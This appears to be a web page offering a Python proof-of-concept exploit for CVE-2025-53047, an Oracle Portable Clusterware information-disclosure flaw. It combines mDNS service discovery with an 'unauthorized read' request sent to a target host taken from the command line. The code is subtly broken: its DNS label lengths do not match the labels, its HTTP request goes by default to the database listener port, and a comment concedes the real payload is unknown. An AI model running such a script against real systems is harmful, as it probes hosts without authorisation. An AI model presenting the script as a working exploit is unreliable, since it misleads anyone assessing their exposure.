CVE-2025-53047 Oracle Database Portable Clusterware 未授权读取漏洞

# CVE-2025-53047 PoC - Oracle Portable Clusterware Information Disclosure # Vulnerability: Unauthenticated read access via Bonjour protocol # Affected: Oracle Database Server 19.3-19.28, 21.3-21.19, 23.4-23.9 import socket import struct import sys def discover_bonjour_services(target_subnet='224.0.0.251', port=5353, timeout=5): """ Discover Oracle Clusterware services via Bonjour/mDNS multicast """ # mDNS query for Oracle Clusterware services mdns_query = b'\x00\x00' # Transaction ID mdns_query += b'\x00\x00' # Flags (standard query) mdns_query += b'\x00\x01' # Questions: 1 mdns_query += b'\x00\x00' # Answers: 0 mdns_query += b'\x00\x00' # Authority: 0 mdns_query += b'\x00\x00' # Additional: 0 # Query for _oracle_clusterware._tcp.local query_name = b'\x0c_oracle_cluster\x07ware\x04_tcp\x05local\x00' mdns_query += query_name mdns_query += struct.pack('>HH', 12, 1) # Type PTR, Class IN sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.settimeout(timeout) try: sock.sendto(mdns_query, (target_subnet, port)) while True: data, addr = sock.recvfrom(4096) print(f"[+] Discovered service at: {addr}") parse_mdns_response(data) except socket.timeout: print("[*] Discovery complete") finally: sock.close() def parse_mdns_response(data): """Parse mDNS response to extract service information""" # Simplified parser for demonstration print(f"[*] Response data length: {len(data)}") # In real exploitation, extract service details and endpoints def exploit_unauthorized_read(target_host, target_port): """ Attempt unauthorized read access to Portable Clusterware """ print(f"[*] Targeting {target_host}:{target_port}") # Craft malicious request to trigger information disclosure # Note: Actual exploit payload would depend on specific protocol implementation payload = b"GET /clusterware/status HTTP/1.1\r\n" payload += f"Host: {target_host}\r\n".encode() payload += b"Connection: close\r\n" payload += b"\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) sock.send(payload) response = sock.recv(4096) print(f"[+] Received response ({len(response)} bytes)") # Response may contain sensitive cluster information return response except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1521 exploit_unauthorized_read(target, port) else: print("Usage: python poc.py <target_host> [target_port]") print("Running Bonjour discovery mode...") discover_bonjour_services()